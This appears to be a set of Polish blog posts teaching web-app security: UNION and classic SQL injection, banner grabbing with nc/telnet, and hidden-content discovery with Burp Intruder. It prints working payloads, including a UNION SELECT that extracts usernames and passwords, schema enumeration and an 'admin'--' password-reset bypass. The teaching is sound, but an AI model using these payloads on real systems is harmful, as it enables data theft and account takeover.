W poprzednim wpisie o podstawach SQL Injection, pokazałem podstawowe błędy podczas korzystania z zapytań SELECT, INSERT, UPDATE, DELETE. Jak okazało się, można było uzyskać dostęp do poufnych danych. Użycie operatora UNION to kolejna eskalacja ataku, dzięki której dowolne dane w bazie mogą zostać wykradzione.

Myślę, że warto poznać wszystkie skutki ataku SQL Injection, aby jasna była skala zagrożenia. Statystyki wciąż pokazują, że luki w SQL Injection są dość częste i programiści popełniają  gdzieś błędy. W przypadku skomplikowanych systemów, gdzie zapytania generowane są dynamicznie dostrzeżenie luki może być już nie takie oczywiste.

Spójrzmy jeszcze raz na zapytanie z poprzedniego wpisu:

SELECT Name, Content FROM Articles WHERE Name= ‘fraza’ and
Published=1

Co jeśli zamiast frazy, ktoś wklei:

tekst’ UNION SELECT username,password FROM Users--

Zapytanie przyjmie formę:

SELECT Name, Content FROM Articles WHERE Name= ‘tekst’ UNION SELECT username,password FROM Users--’ and
Published=1

Oznacza to, że wykona się następujący kod:

SELECT Name, Content FROM Articles WHERE Name= ‘tekst’

UNION

SELECT username,password FROM Users

Jeśli tylko atakujący odgadnie nazwę tabel, kolumn, ich liczbę oraz typy może uzyskać dostęp do WSZYSTKICH danych w bazie. Jeśli pierwsze zapytanie zwraca tylko jedną kolumnę, wtedy drugie musi również zwrócić taką samą liczbę (np. tylko hasło). Okazuje się, że odgadnięcie kolumn nie jest takie trudne, ponieważ dla testów można zwrócić NULL.

Załóżmy, że pierwsze zapytanie, zwraca 5 kolumn, np.:
SELECT A,B,C,D,E from Articles.

Jeśli nie znamy zarówno typów, nazw jak typów kolumn, po prostu zwracamy NULL. Typ NULL może być skonwertowany do jakiegokolwiek typu. Wystarczą zatem 5 próby:

' UNION SELECT NULL--
' UNION SELECT NULL, NULL--
' UNION SELECT NULL, NULL, NULL--
' UNION SELECT NULL, NULL, NULL, NULL --
' UNION SELECT NULL, NULL, NULL, NULL, NULL --

Jeśli któraś z prób powiedzie się sukcesem wtedy znamy już liczbę kolumn i możemy przejść do odgadywania typów kolumn. Jeśli chcemy sprawdzić czy któraż z nich jest typu text, wtedy:

' UNION SELECT 'Hello World', NULL, NULL, NULL, NULL --
' UNION SELECT NULL, 'Hello World', NULL, NULL, NULL --
' UNION SELECT NULL, NULL, 'Hello World', NULL, NULL --
' UNION SELECT NULL, NULL, NULL, 'Hello World', NULL --
' UNION SELECT NULL, NULL, NULL, NULL, 'Hello World'--

Zawsze jeden typ odgadujemy za pierwszy razem. Jęśli próba nie powiedzie się, przesuwamy tekst do kolejnej kolumny.

Następnie możemy spróbować inny typ – np. liczbowy. Załóżmy, że ostatnia kolumna to tekst i teraz szukamy typu liczbowego:

' UNION SELECT 1, NULL, NULL, NULL, 'Hello World'--
' UNION SELECT NULL, 1, NULL, NULL, 'Hello World'--
' UNION SELECT NULL, NULL, 1, NULL, 'Hello World'--
' UNION SELECT NULL, NULL, NULL, 1, 'Hello World'--

Na tym etapie wiemy już o liczbie oraz typach kolumn w pierwszym zapytaniu. W celu wykorzystania luki, trzeba odgadnąć jeszcze nazwę tabeli oraz nazwy kolumn, które chcemy odczytać. Czasami można domyślić się np. “SELECT Name from Users” ale nie jest to zbyt przydatne podejście.
Większość baz danych dostarcza metadane czyli informacje o dostępnych tabelach i kolumnach. W SQL Server do dyspozycji mamy INFORMATION_SCHEMA.
Tym sposobem, jeśli tylko znamy liczbę kolumn oraz ich typy możemy (załóżmy 3 kolumny, pierwsze dwie to typy tekstowe):

' UNION SELECT TABLE_NAME,COLUMN_NAME, NULL from INFORMATION_SCHEMA.COLUMNS--

Teraz już mamy wystarczające informacje aby odczytać jakiekolwiek dane z bazy.

W poprzednich wpisach zajęliśmy się mapowaniem zawartości strony. Na tym etapie, powinno być jasne, jakiego typu ataki potencjalnie mogą być wykonane na stronie.

SQL Injection wciąż jest jednym z najczęściej spotykanych ataków. Może wydawać się to dziwne, ale często programiści nie zdają sobie sprawy z zagrożenia albo po prostu luki w bezpieczeństwie powstają w miarę ewolucji kodu. Moim zdaniem jest to największe ryzyku, gdy kod jest bardzo często zmieniany i czasami można coś przeoczyć. Nie zawsze również da się korzystać z parametryzowanych zapytań i wtedy niestety trzeba stworzyć zapytanie dynamicznie. Atak SQL Injection polega na takim zmanipulowaniu danych wejściowych, że powstanie nowe zapytanie, zwracające dowolne dane z bazy danych.

1. SQL Injeciton w Select

Zacznijmy od klasycznego przykładu. Załóżmy, że mamy wyszukiwarkę na stronie i zwracamy dane na podstawie wpisanej nazwy artykułu:

SELECT * FROM Articles WHERE Name= ‘fraza’ and
Published=1

To co znajduje się jako wartość kolumny ‘Name’ może być przekazywane za pomocą URL, np.:

www.test.com\articles?name=’fraza’

Problem w tym, że bez walidacji użytkownik może “wstrzyknąć” tak spreparowaną frazę, że powstanie zupełnie nowe zapytanie.  Co się stanie, jak użytkownik poda następującą frazę?

fraza’ OR 1=1 —

Po podstawieniu, zapytanie będzie wyglądać:

SELECT * FROM Articles WHERE Name= ‘fraza’ OR 1=1 –‘ and
Published=1

Podanie apostrofu spowoduje, że następna część frazy zostanie potraktowana jako zapytanie. Powyższy przykład pokazał jak wyświetlić wszystkie artykuły (OR 1=1)  zamiast tylko tego konkretnego.

Innymi słowy, atak SQL Injection jest możliwy, gdy dane pochodzą z zewnętrznego źródła (query string, formularz itp) i nie są one odpowiednio formatowane przed włączeniem je w dynamiczne zapytanie.

2. INSERT INTO

SQL Injection nie ogranicza się tylko do SELECT.  Załóżmy, że mamy następujący INSERT INTO:

INSERT INTO Articles (name, author,priority) Values (‘nazwa’,’Piotr Z’,5)

Jeśli nazwa pochodzi z zewnętrznego źródła, wtedy można wstrzyknąć:

nazwa’,’Piotr’,9999)–

Spowoduje to, że wyjściowe zapytanie to:

INSERT INTO Articles (name,author,priority) Values (nazwa’,’Piotr’,9999)–‘,’Piotr Z’,5)

Czyli będziemy w stanie zmienić jakiekolwiek wartości, nawet te, które były wcześniej zawsze stałymi.

3. UPDATE\DELETE

Analogicznie, Update jest narażony na taki sam atak. Rozważmy aktualizację hasła:

UPDATE Users SET Password=’new password’ WHERE user = ‘piotr’ and password
=’old password’

Zapytanie powinno zmienić hasło wyłącznie jeśli poda się prawidłową nazwę użytkownika oraz hasło (tylko wtedy jest dopasowany rekord w bazie). A co jeśli podamy jako nazwę admin’–? Powstanie wtedy:

UPDATE Users SET Password=’new password’ WHERE user = ‘admin’–‘ and password
=’old password’

W łatwy sposób unikniemy autentykacji i  zmienimy hasło dla administratora.

5. Klauzula OrderBy

Dane wyświetlane np. w formie tabel, zwykłe mogą być sortowane. Programiści myśląc, że napiszą bardziej elegancki kod, czasami wstrzykują nazwę kolumny i kierunek sortowania bezpośrednio  w zapytanie, tzn.:

SELECT * FROM Articles OrderBy Author DESC

Stosując powyższe wskazówki czyli podając jako nazwę kolumny np. Author ASC –, możemy modyfikować dowolnie kod.

6. Wstrzykiwanie napisów oraz typów liczbowych.

Nie znając architektury wewnętrznej trzeba w jakiś sposób sprawdzić z jakimi typami danych mamy do czynienia. Powyższe przykłady opierały się głównie na manipulowaniu tekstem poprzez dodane apostrofu. Często jednak możliwe jest wstrzyknięcie typów liczbowych np.:

SELECT * FROM Data where Page = 5.

Jeśli numer strony pochodzi od użytkownika, warto spróbować wstrzyknąć np. 3+3. Jeśli spowoduje to wyświetlenie strony 6, znaczy, że aplikacja jest podatna na kolejne ataki. Można nawet spróbować wstrzyknąć 71-ASCII(‘A’). Jeśli zostanie wyświetlona szósta strona (71-65), wtedy wiemy, że kolejne ataki można przeprowadzić.

Oprócz rozpoznania zawartości aplikacji (o czym pisałem w poprzednich wpisach) przydatne jest rozpoznanie konkretnych technologii. Inaczej przeprowadza się atak na aplikację PHP, a inaczej na ASP.NET.

Zacznijmy od serwera WWW.  Zdobycie nazwy i konkretnej wersji może okazać się krytyczne. Dlaczego? Wiele serwerów WWW miało luki w bezpieczeństwie. Jeśli dana aplikacja używa starego IIS, możemy poszukać biuletynów bezpieczeństwa i sprawdzić, czy możliwe jest wykorzystanie konkretnych luk. Na przykład, stare wersje IIS miały problem z generowaniem w pełni losowych identyfikatorów sesji. O tym w innym poście, ale odgadniecie kolejnego numeru sesji jest oczywiście katastrofalne z punktu widzenia bezpieczeństwa.

Zaprezentowana technika w tym wpisie, nazywa się “banner grabbing“.

Najprostsza sztuczka polega na wysłaniu zapytania do serwera,  które zwróci w odpowiedzi m.in. nagłówek header (przykład z Wikipedii):

// Źródło: https://en.wikipedia.org/wiki/Banner_grabbing

[root@prober] nc www.targethost.com 80
HEAD / HTTP/1.1

HTTP/1.1 200 OK
Date: Mon, 11 May 2009 22:10:40 EST
Server: Apache/2.0.46 (Unix)  (Red Hat/Linux)
Last-Modified:  Thu, 16 Apr 2009 11:20:14 PST
ETag: "1986-69b-123a4bc6"
Accept-Ranges: bytes
Content-Length: 1110
Connection: close
Content-Type: text/html

Za pomocą telnet, możemy w łatwy sposób uzyskać, przynajmniej część powyższych informacji:

1. Uruchomiamy CMD i wpisujemy “telnet adres_serwera port”:

2. Po połączeniu, wpisujemy “HEAD / HTTP/1.0”:

Jak widać, w szybki sposób dowiedzieliśmy się jaki serwer oraz jaka jego wersja jest zainstalowana. W praktyce jednak, ma to BARDZO ograniczone możliwości ponieważ zwykle administratorzy blokują nagłówek serwer lub zwracają nieprawidłowe informacje.

Niestety istnieją narzędzia, które potrafią przynajmniej w przybliżeniu podać wersję. Posiadają zwykle one zestaw reguł i na ich podstawie wyznaczają wersje. Każdy serwer zwraca trochę inne informacje na takie same zapytania. Może być to kolejność nagłówków, czasy generowania odpowiedzi czy konkretne wartości występujące w nagłówkach . Po wysłaniu wystarczającej ilości zapytań, narzędzia te potrafią dopasować serwer oraz wersję serwera.

Jednym z tych narzędzi jest HTTPRecon:

Oczywiście, jeśli wszystkie dostępne na rynku serwery www implementowałyby HTTP w identyczny sposób, powyższa sztuczka nie miałaby sensu.

Zwykle programiści nie są bezpośrednio odpowiedzialni za serwer WWW. Zawsze jednak należy pamiętać, aby instalować najnowsze aktualizacje ponieważ nawet aplikacja bez żadnych luk bezpieczeństwa może zostać z łatwością złamana jeśli serwer WWW np. generuje przewidywalne numery sesji.

Minęło już sporo czasu od ostatniego wpisu na temat bezpieczeństwa. Tak jak wspomniałem w pierwszym wpisie, dobrym sposobem na zabezpieczenie własnych aplikacji jest zrozumienie jak ta druga strona może próbować znaleźć lukę w naszym systemie. Mapowanie to pierwszy etap, który ma na celu rozpoznanie najmniej chronionych fragmentów aplikacji – zadziwiająco często można znaleźć bardzo wrażliwe informacje takie jak logi czy nawet hasła.

W poprzednim wpisie stworzyliśmy podstawową mapę, składającą się po prostu z publicznie dostępnych informacji, wygenerowanych manualnie oraz za pomocą spidering. Użyliśmy narzędzia Burp Suite, które jest również dostępne w darmowej wersji. W prostych przypadkach, czasami łatwiej napisać po prostu aplikacje konsolową w C#, która zrobi za nas np. wspomniany spidering, ale warto mimo wszystko przyzwyczaić się do zewnętrznych narzędzi.

Dzisiaj chciałbym pokazać na czym polega mapowanie ukrytej zawartości. Za ukryte strony mam na myśli tą zawartość, do której nie można dostać się za pomocą publicznej strony bo po prostu nie jest ona podlinkowana. Z tego względu, często programiści zapominają o niej i nie stosują autoryzacji. Co możemy znaleźć w takich plikach?

1. Logi – bardzo często przechowywane są w tym samym folderze co aplikacja, a co za tym idzie prawdopodobne jest, że ktoś zignorował autoryzację.

2. Kopie zapasowe. Szczególnie we współdzielonych hostingach, kopie są umieszczane w folderze aplikacji. Jeśli nie są chronione, istnieje prawdopodobieństwo, że uzyskamy dostęp do danych lub kodów źródłowych.

3. Hasła – wiem, że to mało prawdopodobne, a jednak. Bywały przypadki w historii, gdzie ludzie przechowywali pliki tekstowe z… hasłami.

4. Kody źródłowy – czasami osoby zamiast DLL przekopiowują cały kod, lub edytując skrypty (np. PHP), chwilowo zamieniają stare nazwy na np. “HomePage.php.txt”.

5.  Niechronione strony. Jeśli aplikacja ma mechanizm autoryzacji, warto spróbować otworzyć różne strony bez niej. Często autorzy popełniają błąd, myśląc, że skoro strona nie jest dostępna publicznie, to nie musi być chroniona.  Czasami wynika to po prostu z błędu – np. pominięcia atrybutu Authorize dla jednego kontrolera.

Odkrycie takiej zawartości jest jednak dużo trudniejsze i zwykle polega na zgadywaniu. Wymaga to sporej znajomości m.in. technologii wykorzystywanych przez daną stronę (o tym nauczymy się w następnych wpisach). Wiedząc np. jaki framework jest wykorzystywany do wykonywania logów, możemy domyśleć się gdzie są one przechowywane. Podobnie wygląda sprawa z kopią zapasową.

Nie oznacza to, że przeprowadzenie wspomnianego ataku jest niemożliwe… W Internecie istnieje wiele list zawierających najczęściej występujące nazwy plików i folderów. Listy te mogą mieć nawet tysiące wpisów. Posiadając taką listę, można automatycznie wygenerować zapytania do serwera. Na przykład, używając Burp Suite wystarczy przejść do Intruder->Positions i podać szablon zapytania HTTP:

Należy również załadować wspomnianą listę:

Po odpaleniu zapytań (Intruder->Start attack), zobaczymy listę zapytań. Warto zwrócić uwagę na zwracany kod HTTP i długość zapytania. Niektóre strony mogą zwracać HTTP 200, pomimo, że strona nie istnieje – po prostu maja swoją własną stronę z błędami. Dlatego obserwowanie kolumny Length może być bardziej skuteczne.